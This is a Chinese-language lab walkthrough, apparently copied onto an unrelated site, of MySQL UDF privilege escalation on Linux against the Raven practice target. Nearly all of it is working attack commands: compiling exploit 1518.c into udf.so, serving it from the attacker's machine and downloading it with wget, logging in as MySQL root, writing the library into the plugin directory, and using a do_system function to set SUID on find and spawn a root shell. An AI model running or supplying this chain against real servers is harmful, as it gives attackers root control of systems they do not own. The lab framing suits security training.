UDF提权(linux) |
您所在的位置:网站首页 › linux文件导入导出命令 › UDF提权(linux) |
实验环境:
RAVEN靶场:链接:百度网盘 请输入提取码 提取码:g6oz 攻击机:kali 2023.3 IP:192.168.126.142 关于UDF提权,需要满足的条件是 1.数据库管理员权限运行 #如果权限过低,无法执行系统命令,无法提权 2.数据库的版本信息不高于 5.5.61.查询udf可利用的c程序,将1518.c保存到当前目录 searchsploit -m 1518.c 2.查看使用说明;大概就是将程序进行gcc编译,然后再登录mysql进行创建一个表,插入.so文件,创建自定义函数进行越权操作。 3.进行编译 gcc -g -c 1518.c gcc -g -shared -o udf.so 1518.o -lc -g 生成调试信息 -c 编译(二进制) -shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件 -o 执行命令后的文件名 -lc -l 库 -c 库名python3 -m http.server #用python开启http服务 4.将编译好的.so文件进行上传靶机,进行登录数据库 wget http://192.168.126.142:8000/udf.so mysql -uroot -pR@v3nSecurity show databases; use mysql 5.查看udf提权的必要条件,看插件位置 show global variables like '%secure_file_priv%'; show variables like '%plugin%'; 6.开始提权操作: create table foo(line blob); #创建一张临时表用来存放DLL/OS文件的16进制内容 insert into foo values(load_file('/tmp/udf.so')); #插入udf.so文件(foo是占位符,没有任何意义) select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so'; #利用dumpfile函数把文件导出 create function do_system returns integer soname 'udf.so'; #创建自定义函数do_system,类型是integer,别名(soname)文件名字 select * from mysql.func; #查询函数是否创建成功 select do_system('chmod u+s /usr/bin/find'); #调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。 exit 7.执行命令,成功提权。 touch udf find udf -exec "/bin/sh" \; 或 find udf -exec "id" \; |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |